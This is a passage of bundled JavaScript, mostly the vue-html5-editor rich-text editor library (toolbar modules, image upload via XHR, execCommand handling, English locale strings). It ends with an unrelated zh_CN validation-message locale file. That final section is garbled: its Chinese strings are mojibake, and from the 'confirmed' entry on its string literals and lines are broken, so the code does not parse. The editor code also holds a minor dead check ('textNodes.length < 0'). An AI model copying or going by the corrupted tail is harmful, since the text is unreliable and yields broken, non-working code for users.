                        if (Array.isArray(value)) {
                            value.forEach(function(v) {
                                formData.append(key, v);
                            });
                        } else {
                            formData.append(key, value);
                        }
                    });
                }
                var xhr = new XMLHttpRequest();
                xhr.onprogress = function(e) {
                    this$1.upload.status = 'progress';
                    if (e.lengthComputable) {
                        this$1.upload.progressComputable = true;
                        var percentComplete = e.loaded / e.total;
                        this$1.upload.complete = (percentComplete * 100).toFixed(2);
                    } else {
                        this$1.upload.progressComputable = false;
                    }
                };
                xhr.onload = function() {
                    if (xhr.status !== 200) {
                        this$1.setUploadError(("request error,code " + (xhr.status)));
                        return
                    }
                    try {
                        var url = config.uploadHandler(xhr.responseText);
                        if (url) {
                            this$1.$parent.execCommand(Command.INSERT_IMAGE, url);
                        }
                    } catch (err) {
                        this$1.setUploadError(err.toString());
                    } finally {
                        this$1.upload.status = 'ready';
                    }
                };
                xhr.onerror = function() {
                    this$1.setUploadError('request error');
                };
                xhr.onabort = function() {
                    this$1.upload.status = 'abort';
                };
                xhr.open('POST', config.upload.url);
                if (typeof config.upload.headers === 'object') {
                    Object.keys(config.upload.headers).forEach(function(k) {
                        xhr.setRequestHeader(k, config.upload.headers[k]);
                    });
                }
                xhr.send(formData);
            }
        }
    };
    var image = {
        name: 'image',
        icon: 'fa fa-file-image-o',
        i18n: 'image',
        config: {
            sizeLimit: 512 * 1024,
            compress: {
                width: 1600,
                height: 1600,
                quality: 80
            },
            uploadHandler: function uploadHandler(responseText) {
                var json = JSON.parse(responseText);
                return json.ok ? json.data : null
            }
        },
        dashboard: dashboard$3
    };
    var template$4 = "<div><h3 style=\"text-align:center\">Vue-html5-editor&nbsp;{{version}}</h3><p style=\"text-align:center\">repository:<a href=\"https://github.com/PeakTai/vue-html5-editor\" target=\"_blank\">https://github.com/PeakTai/vue-html5-editor </a></p></div>";
    var dashboard$4 = {
        template: template$4,
        data: function data() {
            return {
                version: "1.1.0"
            }
        }
    };
    var info = {
        name: 'info',
        icon: 'fa fa-info',
        i18n: 'info',
        dashboard: dashboard$4
    };
    var template$5 = "<form @submit.prevent=\"createLink\"><input type=\"text\" :placeholder=\"$parent.locale['please enter a url']\" v-model=\"url\" maxlength=\"1024\"><br><input type=\"text\" :placeholder=\"$parent.locale['please enter title of link']\" v-model=\"title\" maxlength=\"1024\"><br><input v-model=\"target\" value=\"false\" type=\"checkbox\">:have target.<br><button type=\"submit\">{{$parent.locale[\"create link\"]}}</button></form>";
    var dashboard$5 = {
        template: template$5,
        data: function data() {
            return {
                url: null,
                title: null,
                target: false
            }
        },
        computed: {
            dataLink: function() {
                return {
                    url: this.url,
                    title: this.title,
                    target: this.target
                }
            }
        },
        methods: {
            createLink: function createLink() {
                if (!this.url) {
                    return
                }
                this.$parent.execCommand('createLink', this.dataLink);
                this.url = null;
                this.title = null;
                this.target = null;
            }
        }
    };
    var link = {
        name: 'link',
        icon: 'fa fa-chain',
        i18n: 'link',
        dashboard: dashboard$5
    };
    var template$6 = "<div><button type=\"button\" @click=\"$parent.execCommand('insertOrderedList')\">{{$parent.locale[\"ordered list\"]}}</button><button type=\"button\" @click=\"$parent.execCommand('insertUnorderedList')\">{{$parent.locale[\"unordered list\"]}}</button></div>";
    var dashboard$6 = {
        template: template$6
    };
    var list = {
        name: 'list',
        icon: 'fa fa-list',
        i18n: 'list',
        dashboard: dashboard$6
    };
    var template$7 = "<form @submit.prevent=\"insertTable\"><label>{{$parent.locale[\"row count\"]}}<input type=\"number\" style=\"width:60px\" maxlength=\"2\" min=\"2\" max=\"10\" v-model=\"rows\"></label><label>{{$parent.locale[\"column count\"]}}<input type=\"number\" style=\"width:60px\" maxlength=\"2\" min=\"2\" max=\"10\" v-model=\"cols\"></label><button type=\"submit\">{{$parent.locale.save}}</button></form>";
    var dashboard$7 = {
        template: template$7,
        data: function data() {
            return {
                rows: 2,
                cols: 2,
                hasHead: false,
                striped: false,
                hover: false
            }
        },
        methods: {
            insertTable: function insertTable() {
                if (this.rows < 2 || this.rows > 10) {
                    return
                }
                if (this.cols < 2 || this.cols > 10) {
                    return
                }
                var table = '<table style="border-spacing:0px;border-collapse:collapse;width:100%;max-width:100%;margin-bottom:0px;border:1px solid rgb(221,221,221);color:rgb(51,51,51);font-size:14px;line-height:20px;background-color:transparent;"><tbody>';
                for (var i = 0; i < this.rows; i++) {
                    table += '<tr>';
                    for (var j = 0; j < this.cols; j++) {
                        table += '<td style="padding:8px;line-height:1.42857;vertical-align:top;border:1px solid rgb(221,221,221);">&nbsp;</td>';
                    }
                    table += '</tr>';
                }
                table += '</tbody></table>';
                this.$parent.execCommand('insertHTML', table);
            }
        }
    };
    var table = {
        name: 'tabulation',
        icon: 'fa fa-table',
        i18n: 'table',
        dashboard: dashboard$7
    };
    var template$8 = "<div><button type=\"button\" @click=\"$parent.execCommand('bold')\">{{$parent.locale[\"bold\"]}}</button><button type=\"button\" @click=\"$parent.execCommand('italic')\">{{$parent.locale[\"italic\"]}}</button><button type=\"button\" @click=\"$parent.execCommand('underline')\">{{$parent.locale[\"underline\"]}}</button><button type=\"button\" @click=\"$parent.execCommand('strikeThrough')\">{{$parent.locale[\"strike through\"]}}</button><button type=\"button\" @click=\"$parent.execCommand('subscript')\">{{$parent.locale[\"subscript\"]}}</button><button type=\"button\" @click=\"$parent.execCommand('superscript')\">{{$parent.locale[\"superscript\"]}}</button></div>";
    var dashboard$8 = {
        template: template$8
    };
    var text = {
        name: 'text',
        icon: 'fa fa-pencil',
        i18n: 'text',
        dashboard: dashboard$8
    };
    var undo = {
        name: 'undo',
        icon: 'fa-undo fa',
        i18n: 'undo',
        handler: function handler(editor) {
            editor.execCommand('undo');
        }
    };
    var unlink = {
        name: 'unlink',
        icon: 'fa fa-chain-broken',
        i18n: 'unlink',
        handler: function handler(editor) {
            editor.execCommand('unlink');
        }
    };
    var buildInModules = [text, color, font, align, list, link, unlink, table, image, hr, eraser, undo, fullScreen$1, info];
    var mergeArray = function(sourceArr, extArr) {
        extArr.forEach(function(el) {
            sourceArr.push(el);
        });
    };
    var getDescendantTextNodes = function(ancestor) {
        if (ancestor.nodeType === Node.TEXT_NODE) {
            return [ancestor]
        }
        var textNodes = [];
        if (!ancestor.hasChildNodes()) {
            return textNodes
        }
        var childNodes = ancestor.childNodes;
        for (var i = 0; i < childNodes.length; i++) {
            var node = childNodes[i];
            if (node.nodeType === Node.TEXT_NODE) {
                textNodes.push(node);
            } else if (node.nodeType === Node.ELEMENT_NODE) {
                mergeArray(textNodes, getDescendantTextNodes(node));
            }
        }
        return textNodes
    };
    var getBeforeEndDescendantTextNodes = function(ancestor, endEl) {
        var textNodes = [];
        var endIndex = 0;
        for (var i = 0; i < ancestor.childNodes.length; i++) {
            if (ancestor.childNodes[i].contains(endEl)) {
                endIndex = i;
                break
            }
        }
        for (var i$1 = 0; i$1 <= endIndex; i$1++) {
            var node = ancestor.childNodes[i$1];
            if (node === endEl) {
                mergeArray(textNodes, getDescendantTextNodes(node));
            } else if (i$1 === endIndex) {
                if (node.nodeType === Node.TEXT_NODE) {
                    textNodes.push(node);
                } else if (node.nodeType === Node.ELEMENT_NODE) {
                    mergeArray(textNodes, getBeforeEndDescendantTextNodes(node, endEl));
                }
            } else if (node.nodeType === Node.TEXT_NODE) {
                textNodes.push(node);
            } else if (node.nodeType === Node.ELEMENT_NODE) {
                mergeArray(textNodes, getDescendantTextNodes(node));
            }
        }
        return textNodes
    };
    var getAfterStartDescendantTextNodes = function(ancestor, startEl) {
        var textNodes = [];
        var startIndex = 0;
        for (var i = 0; i < ancestor.childNodes.length; i++) {
            if (ancestor.childNodes[i].contains(startEl)) {
                startIndex = i;
                break
            }
        }
        for (var i$1 = startIndex; i$1 < ancestor.childNodes.length; i$1++) {
            var node = ancestor.childNodes[i$1];
            if (node === startEl) {
                mergeArray(textNodes, getDescendantTextNodes(node));
            } else if (i$1 === startIndex) {
                if (node.nodeType === Node.TEXT_NODE) {
                    textNodes.push(node);
                } else if (node.nodeType === Node.ELEMENT_NODE) {
                    mergeArray(textNodes, getAfterStartDescendantTextNodes(node, startEl));
                }
            } else if (node.nodeType === Node.TEXT_NODE) {
                textNodes.push(node);
            } else if (node.nodeType === Node.ELEMENT_NODE) {
                mergeArray(textNodes, getDescendantTextNodes(node));
            }
        }
        return textNodes
    };
    var getParentLinkNBR = function(node) {
        var blockNodeNames = ['a', 'A'];
        var container = node;
        while (container) {
            if (blockNodeNames.includes(container.nodeName)) {
                break
            }
            container = container.parentNode;
        }
        return container
    };
    var getParentBlockNode = function(node) {
        var blockNodeNames = ['DIV', 'P', 'SECTION', 'H1', 'H2', 'H3', 'H4', 'H5', 'H6', 'OL', 'UL', 'LI', 'TR', 'TD', 'TH', 'TBODY', 'THEAD', 'TABLE', 'ARTICLE', 'HEADER', 'FOOTER'];
        var container = node;
        while (container) {
            if (blockNodeNames.includes(container.nodeName)) {
                break
            }
            container = container.parentNode;
        }
        return container
    };
    var isInlineElement = function(node) {
        var inlineNodeNames = ['A', 'ABBR', 'ACRONYM', 'B', 'CITE', 'CODE', 'EM', 'I', 'FONT', 'IMG', 'S', 'SMALL', 'SPAN', 'STRIKE', 'STRONG', 'U', 'SUB', 'SUP'];
        return inlineNodeNames.includes(node.nodeName)
    };
    if (!Text.prototype.contains) {
        Text.prototype.contains = function contains(otherNode) {
            return this === otherNode
        };
    }
    var RangeHandler = function RangeHandler(range) {
        if (!range || !(range instanceof Range)) {
            throw new TypeError('cant\'t resolve range')
        }
        this.range = range;
    };
    RangeHandler.prototype.getAllTextNodesInRange = function getAllTextNodesInRange() {
        var startContainer = this.range.startContainer;
        var endContainer = this.range.endContainer;
        var rootEl = this.range.commonAncestorContainer;
        var textNodes = [];
        if (startContainer === endContainer) {
            if (startContainer.nodeType === Node.TEXT_NODE) {
                return [startContainer]
            }
            var childNodes = startContainer.childNodes;
            for (var i = this.range.startOffset; i < this.range.endOffset; i++) {
                mergeArray(textNodes, getDescendantTextNodes(childNodes[i]));
            }
            return textNodes
        }
        var startIndex = 0;
        var endIndex = 0;
        for (var i$1 = 0; i$1 < rootEl.childNodes.length; i$1++) {
            var node = rootEl.childNodes[i$1];
            if (node.contains(startContainer)) {
                startIndex = i$1;
            }
            if (node.contains(endContainer)) {
                endIndex = i$1;
            }
        }
        for (var i$2 = startIndex; i$2 <= endIndex; i$2++) {
            var node$1 = rootEl.childNodes[i$2];
            if (i$2 === startIndex) {
                if (node$1.nodeType === Node.TEXT_NODE) {
                    textNodes.push(node$1);
                } else if (node$1.nodeType === Node.ELEMENT_NODE) {
                    mergeArray(textNodes, getAfterStartDescendantTextNodes(node$1, startContainer));
                }
            } else if (i$2 === endIndex) {
                if (node$1.nodeType === Node.TEXT_NODE) {
                    textNodes.push(node$1);
                } else if (node$1.nodeType === Node.ELEMENT_NODE) {
                    mergeArray(textNodes, getBeforeEndDescendantTextNodes(node$1, endContainer));
                }
            } else if (node$1.nodeType === Node.TEXT_NODE) {
                textNodes.push(node$1);
            } else if (node$1.nodeType === Node.ELEMENT_NODE) {
                mergeArray(textNodes, getDescendantTextNodes(node$1));
            }
        }
        return textNodes
    };
    RangeHandler.prototype.execCommand = function execCommand(command, arg) {
        var this$1 = this;
        switch (command) {
            case Command.JUSTIFY_LEFT:
                {
                    document.execCommand(Command.JUSTIFY_LEFT, false, arg);
                    break
                }
            case Command.JUSTIFY_RIGHT:
                {
                    document.execCommand(Command.JUSTIFY_RIGHT, false, arg);
                    break
                }
            case Command.JUSTIFY_CENTER:
                {
                    document.execCommand(Command.JUSTIFY_CENTER, false, arg);
                    break
                }
            case Command.FORE_COLOR:
                {
                    document.execCommand(Command.FORE_COLOR, false, arg);
                    break
                }
            case Command.BACK_COLOR:
                {
                    document.execCommand(Command.BACK_COLOR, false, arg);
                    break
                }
            case Command.REMOVE_FORMAT:
                {
                    document.execCommand(Command.REMOVE_FORMAT, false, arg);
                    break
                }
            case Command.FONT_NAME:
                {
                    document.execCommand(Command.FONT_NAME, false, arg);
                    break
                }
            case Command.FONT_SIZE:
                {
                    var textNodes = this.getAllTextNodesInRange();
                    if (!textNodes.length) {
                        break
                    }
                    if (textNodes.length === 1 && textNodes[0] === this.range.startContainer && textNodes[0] === this.range.endContainer) {
                        var textNode = textNodes[0];
                        if (this.range.startOffset === 0 && this.range.endOffset === textNode.textContent.length) {
                            if (textNode.parentNode.childNodes.length === 1 && isInlineElement(textNode.parentNode)) {
                                textNode.parentNode.style.fontSize = arg;
                                break
                            }
                            var span = document.createElement('span');
                            span.style.fontSize = arg;
                            textNode.parentNode.insertBefore(span, textNode);
                            span.appendChild(textNode);
                            break
                        }
                        var span$1 = document.createElement('span');
                        span$1.innerText = textNode.textContent.substring(this.range.startOffset, this.range.endOffset);
                        span$1.style.fontSize = arg;
                        var frontPart = document.createTextNode(textNode.textContent.substring(0, this.range.startOffset));
                        textNode.parentNode.insertBefore(frontPart, textNode);
                        textNode.parentNode.insertBefore(span$1, textNode);
                        textNode.textContent = textNode.textContent.substring(this.range.endOffset);
                        this.range.setStart(span$1, 0);
                        this.range.setEnd(span$1, 1);
                        break
                    }
                    textNodes.forEach(function(textNode) {
                        if (textNode === this$1.range.startContainer) {
                            if (this$1.range.startOffset === 0) {
                                if (textNode.parentNode.childNodes.length === 1 && isInlineElement(textNode.parentNode)) {
                                    textNode.parentNode.style.fontSize = arg;
                                } else {
                                    var span$1 = document.createElement('span');
                                    span$1.style.fontSize = arg;
                                    textNode.parentNode.insertBefore(span$1, textNode);
                                    span$1.appendChild(textNode);
                                }
                                return
                            }
                            var span$2 = document.createElement('span');
                            textNode.textContent = textNode.textContent.substring(0, this$1.range.startOffset);
                            span$2.style.fontSize = arg;
                            textNode.parentNode.insertBefore(span$2, textNode);
                            this$1.range.setStart(textNode, 0);
                            return
                        }
                        if (textNode === this$1.range.endContainer) {
                            if (this$1.range.endOffset === textNode.textContent.length) {
                                if (textNode.parentNode.childNodes.length === 1 && isInlineElement(textNode.parentNode)) {
                                    textNode.parentNode.style.fontSize = arg;
                                } else {
                                    var span$3 = document.createElement('span');
                                    span$3.style.fontSize = arg;
                                    textNode.parentNode.insertBefore(span$3, textNode);
                                    span$3.appendChild(textNode);
                                }
                                return
                            }
                            var span$4 = document.createElement('span');
                            textNode.textContent = textNode.textContent.substring(this$1.range.endOffset);
                            span$4.style.fontSize = arg;
                            textNode.parentNode.insertBefore(span$4, textNode);
                            span$4.appendChild(textNode);
                            this$1.range.setStart(textNode, textNode.textContent.length);
                            return
                        }
                        if (textNode.parentNode.childNodes.length === 1 && isInlineElement(textNode.parentNode)) {
                            textNode.parentNode.style.fontSize = arg;
                            return
                        }
                        var span = document.createElement('span');
                        span.style.fontSize = arg;
                        textNode.parentNode.insertBefore(span, textNode);
                        span.appendChild(textNode);
                    });
                    break
                }
            case Command.FORMAT_BLOCK:
                {
                    if (document.execCommand(Command.FORMAT_BLOCK, false, arg)) {
                        break
                    }
                    var element = document.createElement(arg);
                    this.range.surroundContents(element);
                    break
                }
            case Command.LINE_HEIGHT:
                {
                    var textNodes$1 = this.getAllTextNodesInRange();
                    textNodes$1.forEach(function(textNode) {
                        var parentBlock = getParentBlockNode(textNode);
                        if (parentBlock) {
                            parentBlock.style.lineHeight = arg;
                        }
                    });
                    break
                }
            case Command.INSERT_HORIZONTAL_RULE:
                {
                    document.execCommand(Command.INSERT_HORIZONTAL_RULE, false);
                    break
                }
            case Command.INSERT_IMAGE:
                {
                    document.execCommand(Command.INSERT_IMAGE, false, arg);
                    break
                }
            case Command.CREATE_LINK:
                {
                    textNodes = (this.getAllTextNodesInRange());
                    if (textNodes.length < 0) {
                        alert("Select your text");
                    }
                    document.execCommand(Command.CREATE_LINK, false, arg.url);
                    textNodes.forEach(function(textNode) {
                        var parentBlock = getParentLinkNBR(textNode);
                        if (parentBlock) {
                            if (arg.target) parentBlock.target = "_blank";
                            if (arg.title) parentBlock.title = arg.title;
                        }
                    });
                    break
                }
            case Command.INSERT_ORDERED_LIST:
                {
                    document.execCommand(Command.INSERT_ORDERED_LIST, false, arg);
                    break
                }
            case Command.INSERT_UNORDERED_LIST:
                {
                    document.execCommand(Command.INSERT_UNORDERED_LIST, false, arg);
                    break
                }
            case Command.INSERT_HTML:
                {
                    if (document.execCommand(Command.INSERT_HTML, false, arg)) {
                        break
                    }
                    var fragment = document.createDocumentFragment();
                    var div = document.createElement('div');
                    div.innerHTML = arg;
                    if (div.hasChildNodes()) {
                        for (var i = 0; i < div.childNodes.length; i++) {
                            fragment.appendChild(div.childNodes[i].cloneNode(true));
                        }
                    }
                    this.range.deleteContents();
                    this.range.insertNode(fragment);
                    break
                }
            case Command.BOLD:
                {
                    document.execCommand(Command.BOLD, false, arg);
                    break
                }
            case Command.ITALIC:
                {
                    document.execCommand(Command.ITALIC, false);
                    break
                }
            case Command.UNDERLINE:
                {
                    document.execCommand(Command.UNDERLINE, false);
                    break
                }
            case Command.STRIKE_THROUGH:
                {
                    document.execCommand(Command.STRIKE_THROUGH, false);
                    break
                }
            case Command.SUBSCRIPT:
                {
                    document.execCommand(Command.SUBSCRIPT, false);
                    break
                }
            case Command.SUPERSCRIPT:
                {
                    document.execCommand(Command.SUPERSCRIPT, false);
                    break
                }
            case Command.UNDO:
                {
                    document.execCommand(Command.UNDO, false);
                    break
                }
            case Command.UNLINK:
                {
                    document.execCommand(Command.UNLINK, false);
                    break
                }
            default:
                {
                    document.execCommand(command, false, arg);
                    break
                }
        }
    };
    __$styleInject(".vue-html5-editor,.vue-html5-editor *{box-sizing:border-box}.vue-html5-editor{font-size:14px;line-height:1.5;background-color:#fff;color:#333;border:1px solid #ddd;text-align:left;border-radius:5px;overflow:hidden}.vue-html5-editor.full-screen{position:fixed!important;top:0!important;left:0!important;bottom:0!important;right:0!important;border-radius:0}.vue-html5-editor>.toolbar{position:relative;background-color:inherit}.vue-html5-editor>.toolbar>ul{list-style:none;padding:0;margin:0;border-bottom:1px solid #ddd}.vue-html5-editor>.toolbar>ul>li{display:inline-block;cursor:pointer;text-align:center;line-height:36px;padding:0 10px}.vue-html5-editor>.toolbar>ul>li .icon{height:16px;width:16px;display:inline-block;vertical-align:middle}.vue-html5-editor>.toolbar>.dashboard{background-color:inherit;border-bottom:1px solid #ddd;padding:10px;position:absolute;top:100%;left:0;right:0;overflow:auto}.vue-html5-editor>.toolbar>.dashboard input[type=text],.vue-html5-editor>.toolbar>.dashboard input[type=number],.vue-html5-editor>.toolbar>.dashboard select{padding:6px 12px;color:inherit;background-color:transparent;border:1px solid #ddd;border-radius:5px}.vue-html5-editor>.toolbar>.dashboard input[type=text]:hover,.vue-html5-editor>.toolbar>.dashboard input[type=number]:hover,.vue-html5-editor>.toolbar>.dashboard select:hover{border-color:#bebebe}.vue-html5-editor>.toolbar>.dashboard input[type=text][disabled],.vue-html5-editor>.toolbar>.dashboard input[type=text][readonly],.vue-html5-editor>.toolbar>.dashboard input[type=number][disabled],.vue-html5-editor>.toolbar>.dashboard input[type=number][readonly],.vue-html5-editor>.toolbar>.dashboard select[disabled],.vue-html5-editor>.toolbar>.dashboard select[readonly]{background-color:#eee;opacity:1}.vue-html5-editor>.toolbar>.dashboard input[type=text][disabled],.vue-html5-editor>.toolbar>.dashboard input[type=number][disabled],.vue-html5-editor>.toolbar>.dashboard select[disabled]{cursor:not-allowed}.vue-html5-editor>.toolbar>.dashboard button{color:inherit;background-color:inherit;padding:6px 12px;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;border:1px solid #ddd;border-radius:5px;margin-right:4px;margin-bottom:4px}.vue-html5-editor>.toolbar>.dashboard button:hover{border-color:#bebebe}.vue-html5-editor>.toolbar>.dashboard button[disabled]{cursor:not-allowed;opacity:.68}.vue-html5-editor>.toolbar>.dashboard button:last-child{margin-right:0}.vue-html5-editor>.toolbar>.dashboard label{font-weight:bolder}.vue-html5-editor>.content{overflow:auto;padding:10px}.vue-html5-editor>.content:focus{outline:0}", undefined);
    var template$9 = "<div class=\"vue-html5-editor\" :class=\"{'full-screen':fullScreen}\" :style=\"{'z-index':zIndex}\"><div class=\"toolbar\" :style=\"{'z-index':zIndex+1}\" ref=\"toolbar\"><ul><template v-for=\"module in modules\"><li :title=\"locale[module.i18n]\" @click=\"activeModule(module)\"><span class=\"icon\" :class=\"module.icon\"></span><template v-if=\"showModuleName ===undefined ?defaultShowModuleName :showModuleName\">&nbsp;{{locale[module.i18n]}}</template></li></template></ul><div class=\"dashboard\" v-show=\"dashboard\" ref=\"dashboard\"><keep-alive><div v-show=\"dashboard\" :is=\"dashboard\"></div></keep-alive></div></div><div class=\"content\" ref=\"content\" :style=\"contentStyle\" contenteditable @click=\"toggleDashboard(dashboard)\"></div></div>";
    var editor = {
        template: template$9,
        props: {
            content: {
                type: String,
                required: true,
                default: ''
            },
            height: {
                type: Number,
                default: 300,
                validator: function validator(val) {
                    return val >= 100
                }
            },
            zIndex: {
                type: Number,
                default: 1000
            },
            autoHeight: {
                type: Boolean,
                default: true
            },
            showModuleName: {}
        },
        data: function data() {
            return {
                fullScreen: false,
                dashboard: null
            }
        },
        watch: {
            content: function content(val) {
                var content = this.$refs.content.innerHTML;
                if (val !== content) {
                    this.$refs.content.innerHTML = val;
                }
            },
            fullScreen: function fullScreen(val) {
                var component = this;
                if (val) {
                    component.parentEl = component.$el.parentNode;
                    component.nextEl = component.$el.nextSibling;
                    document.body.appendChild(component.$el);
                    return
                }
                if (component.nextEl) {
                    component.parentEl.insertBefore(component.$el, component.nextEl);
                    return
                }
                component.parentEl.appendChild(component.$el);
            }
        },
        computed: {
            contentStyle: function contentStyle() {
                var style = {};
                if (this.fullScreen) {
                    style.height = (window.innerHeight - this.$refs.toolbar.clientHeight - 1) + "px";
                    return style
                }
                if (!this.autoHeight) {
                    style.height = (this.height) + "px";
                    return style
                }
                style['min-height'] = (this.height) + "px";
                return style
            }
        },
        methods: {
            toggleFullScreen: function toggleFullScreen() {
                this.fullScreen = !this.fullScreen;
            },
            enableFullScreen: function enableFullScreen() {
                this.fullScreen = true;
            },
            exitFullScreen: function exitFullScreen() {
                this.fullScreen = false;
            },
            focus: function focus() {
                this.$refs.content.focus();
            },
            toggleDashboard: function toggleDashboard(dashboard) {
                this.dashboard = this.dashboard === dashboard ? null : dashboard;
            },
            execCommand: function execCommand(command, arg) {
                this.restoreSelection();
                if (this.range) {
                    new RangeHandler(this.range).execCommand(command, arg);
                }
                this.toggleDashboard();
                this.$emit('change', this.$refs.content.innerHTML);
            },
            getCurrentRange: function getCurrentRange() {
                return this.range
            },
            saveCurrentRange: function saveCurrentRange() {
                var this$1 = this;
                var selection = window.getSelection ? window.getSelection() : document.getSelection();
                if (!selection.rangeCount) {
                    return
                }
                var content = this.$refs.content;
                for (var i = 0; i < selection.rangeCount; i++) {
                    var range = selection.getRangeAt(0);
                    var start = range.startContainer;
                    var end = range.endContainer;
                    start = start.nodeType === Node.TEXT_NODE ? start.parentNode : start;
                    end = end.nodeType === Node.TEXT_NODE ? end.parentNode : end;
                    if (content.contains(start) && content.contains(end)) {
                        this$1.range = range;
                        break
                    }
                }
            },
            restoreSelection: function restoreSelection() {
                var selection = window.getSelection ? window.getSelection() : document.getSelection();
                selection.removeAllRanges();
                if (this.range) {
                    selection.addRange(this.range);
                } else {
                    var content = this.$refs.content;
                    var div = document.createElement('div');
                    var range = document.createRange();
                    content.appendChild(div);
                    range.setStart(div, 0);
                    range.setEnd(div, 0);
                    selection.addRange(range);
                    this.range = range;
                }
            },
            activeModule: function activeModule(module) {
                if (typeof module.handler === 'function') {
                    module.handler(this);
                    return
                }
                if (module.hasDashboard) {
                    this.toggleDashboard(("dashboard-" + (module.name)));
                }
            }
        },
        created: function created() {
            var this$1 = this;
            this.modules.forEach(function(module) {
                if (typeof module.init === 'function') {
                    module.init(this$1);
                }
            });
        },
        mounted: function mounted() {
            var this$1 = this;
            var content = this.$refs.content;
            content.innerHTML = this.content;
            content.addEventListener('mouseup', this.saveCurrentRange, false);
            content.addEventListener('keyup', function() {
                this$1.$emit('change', content.innerHTML);
                this$1.saveCurrentRange();
            }, false);
            content.addEventListener('mouseout', function(e) {
                if (e.target === content) {
                    this$1.saveCurrentRange();
                }
            }, false);
            this.touchHandler = function(e) {
                if (content.contains(e.target)) {
                    this$1.saveCurrentRange();
                }
            };
            window.addEventListener('touchend', this.touchHandler, false);
        },
        updated: function updated() {
            if (this.$refs.dashboard) {
                this.$refs.dashboard.style.maxHeight = (this.$refs.content.clientHeight) + "px";
            }
        },
        beforeDestroy: function beforeDestroy() {
            var this$1 = this;
            window.removeEventListener('touchend', this.touchHandler);
            this.modules.forEach(function(module) {
                if (typeof module.destroyed === 'function') {
                    module.destroyed(this$1);
                }
            });
        }
    };
    var i18nEnUs = {
        align: 'align',
        image: 'image',
        list: 'list',
        link: 'link',
        unlink: 'unlink',
        table: 'table',
        font: 'font',
        'full screen': 'full screen',
        text: 'text',
        eraser: 'remove format',
        info: 'info',
        color: 'color',
        'please enter a url': 'please enter a url',
        'please enter title of link': 'please enter title of link',
        'create link': 'create link',
        bold: 'bold',
        italic: 'italic',
        underline: 'underline',
        'strike through': 'strike through',
        subscript: 'subscript',
        superscript: 'superscript',
        heading: 'heading',
        'font name': 'font name',
        'font size': 'font size',
        'left justify': 'left justify',
        'center justify': 'center justify',
        'right justify': 'right justify',
        'ordered list': 'ordered list',
        'unordered list': 'unordered list',
        'fore color': 'fore color',
        'background color': 'background color',
        'row count': 'row count',
        'column count': 'column count',
        save: 'save',
        upload: 'upload',
        progress: 'progress',
        unknown: 'unknown',
        'please wait': 'please wait',
        error: 'error',
        abort: 'abort',
        reset: 'reset',
        hr: 'horizontal rule',
        undo: 'undo',
        'line height': 'line height',
        'exceed size limit': 'exceed size limit'
    };

    function mixin(source, ext) {
        if (source === void 0) source = {};
        if (ext === void 0) ext = {};
        Object.keys(ext).forEach(function(k) {
            if (k === 'data') {
                var dataSrc = source[k];
                var dataDesc = ext[k];
                if (typeof dataDesc === 'function') {
                    if (typeof dataSrc !== 'function') {
                        source[k] = dataDesc;
                    } else {
                        source[k] = function() {
                            return mixin(dataSrc(), dataDesc());
                        };
                    }
                }
            } else {
                source[k] = ext[k];
            }
        });
        return source
    }
    polyfill();
    var VueHtml5Editor = function VueHtml5Editor(options) {
        if (options === void 0) options = {};
        var modules = [].concat(buildInModules);
        var components = {};
        if (Array.isArray(options.modules)) {
            options.modules.forEach(function(module) {
                if (module.name) {
                    modules.push(module);
                }
            });
        }
        if (Array.isArray(options.hiddenModules)) {
            modules = (function() {
                var arr = [];
                modules.forEach(function(m) {
                    if (!options.hiddenModules.includes(m.name)) {
                        arr.push(m);
                    }
                });
                return arr
            })();
        }
        if (Array.isArray(options.visibleModules)) {
            modules = (function() {
                var arr = [];
                modules.forEach(function(module) {
                    if (options.visibleModules.includes(module.name)) {
                        arr.push(module);
                    }
                });
                return arr
            })();
        }
        modules.forEach(function(module) {
            var config = options[module.name];
            module.config = mixin(module.config, config);
            if (module.dashboard) {
                module.dashboard.module = module;
                components[("dashboard-" + (module.name))] = module.dashboard;
            }
            if (options.icons && options.icons[module.name]) {
                module.icon = options.icons[module.name];
            }
            module.hasDashboard = !!module.dashboard;
            module.dashboard = null;
        });
        var i18n = {
            'en-us': i18nEnUs
        };
        var customI18n = options.i18n || {};
        Object.keys(customI18n).forEach(function(key) {
            i18n[key] = i18n[key] ? mixin(i18n[key], customI18n[key]) : customI18n[key];
        });
        var language = options.language || 'en-us';
        var locale = i18n[language];
        var defaultShowModuleName = !!options.showModuleName;
        var compo = mixin(editor, {
            data: function data() {
                return {
                    modules: modules,
                    locale: locale,
                    defaultShowModuleName: defaultShowModuleName
                }
            },
            components: components
        });
        mixin(this, compo);
    };
    VueHtml5Editor.install = function install(Vue, options) {
        if (options === void 0) options = {};
        Vue.component(options.name || 'vue-html5-editor', new VueHtml5Editor(options));
    };
    return VueHtml5Editor;
})));
! function(n, e) {
    "object" == typeof exports && "undefined" != typeof module ? module.exports = e() : "function" == typeof define && define.amd ? define(e) : (n.__locale__zh_CN = n.__locale__zh_CN || {}, n.__locale__zh_CN.js = e())
}(this, function() {
        "use strict";
        var n = {
                after: function(n, e) {
                    return " " + n + "�{(" + e[0] + "K"
                },
                alpha_dash: function(n) {
                    return " " + n + "�+W�pWW&�4���"
                },
                alpha_num: function(n) {
                    return n + " ��+W�pWW&."
                },
                alpha_spaces: function(n) {
                    return " " + n + " ��+W�W&�z<."
                },
                alpha: function(n) {
                    return " " + n + " ��+W�W&."
                },
                before: function(n, e) {
                    return " " + n + " �{(" + e[0] + " KM."
                },
                between: function(n, e) {
                    return " " + n + " �{(" + e[0] + " " + e[1] + "K�."
                },
                confirmed: function(n, e) {
                        return " " + n + " ��
                        "+e[0]+"
                        9 M.
                        "},date_between:function(n,e){return"
                        "+n+"� {
                            ("+e[0]+"�
                                "+e[1]+"
                                K�.
                                "},date_format:function(n,e){return"
                                "+n+"� {
                                    (("+e[0]+" < -.
                                            "},decimal:function(n,e){void 0===e&&(e=[" * "]);var t=e[0];return"
                                            "+n+"� {
                                                /pW��+"+("*"===t?"":t)+" p�."},digits:function(n,e){return" "+n+" �{/pW�
                                                n0 "+e[0]+"
                                                p "},dimensions:function(n,e){return"
                                                "+n+"� {
                                                    / "+e[0]+" � 0 "+e[1]+" � ."},email:function(n){return" "+n+" �{/
                                                    H���.
                                                    "},ext:function(n){return"
                                                    "+n+"� {
                                                        /	H���."},image:function(n){return" "+n+" �{/�
                                                        G.
                                                        "},in:function(n){return"
                                                        "+n+"� {
                                                            /
                                    

